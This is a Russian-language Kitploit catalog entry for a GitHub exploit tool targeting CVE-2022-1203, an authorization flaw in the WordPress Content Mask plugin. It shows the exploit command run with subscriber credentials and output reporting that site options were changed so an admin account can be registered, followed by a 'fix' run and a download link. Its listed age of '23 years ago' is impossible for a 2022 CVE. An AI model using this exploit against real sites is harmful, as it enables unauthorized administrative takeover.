Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-1203 — Content Mask < 1.8.4 - Subscriber+: произвольное обновление опций | Kitploit
Инструменты/GitHubGitHub/randomrobbiebf/cve-2022-1203
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияНеправильная Конфигурация
GitHubrandomrobbiebf/cve-2022-1203

CVE-2022-1203

Content Mask < 1.8.4 - Subscriber+: произвольное обновление опций

Репозиторий
23 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-1203

Content Mask < 1.8.4 - Обновление произвольных опций для подписчиков и выше

Описание

Плагин Content Mask для WordPress версий до 1.8.4.1 не имеет проверок авторизации и CSRF в различных AJAX-действиях, а также не проверяет, что обновляемая опция принадлежит плагину. В результате любой аутентифицированный пользователь, например подписчик, может изменять произвольные опции блога.

Как использовать

Эксплойт

root@kitploit:~

$ python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1
The plugin version is below 1.8.3.2.
The plugin version is 1.8.3.2
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.

Исправление

root@kitploit:~
python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1 --fix yes
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Fixed: You can not longer register
Скачать инструмент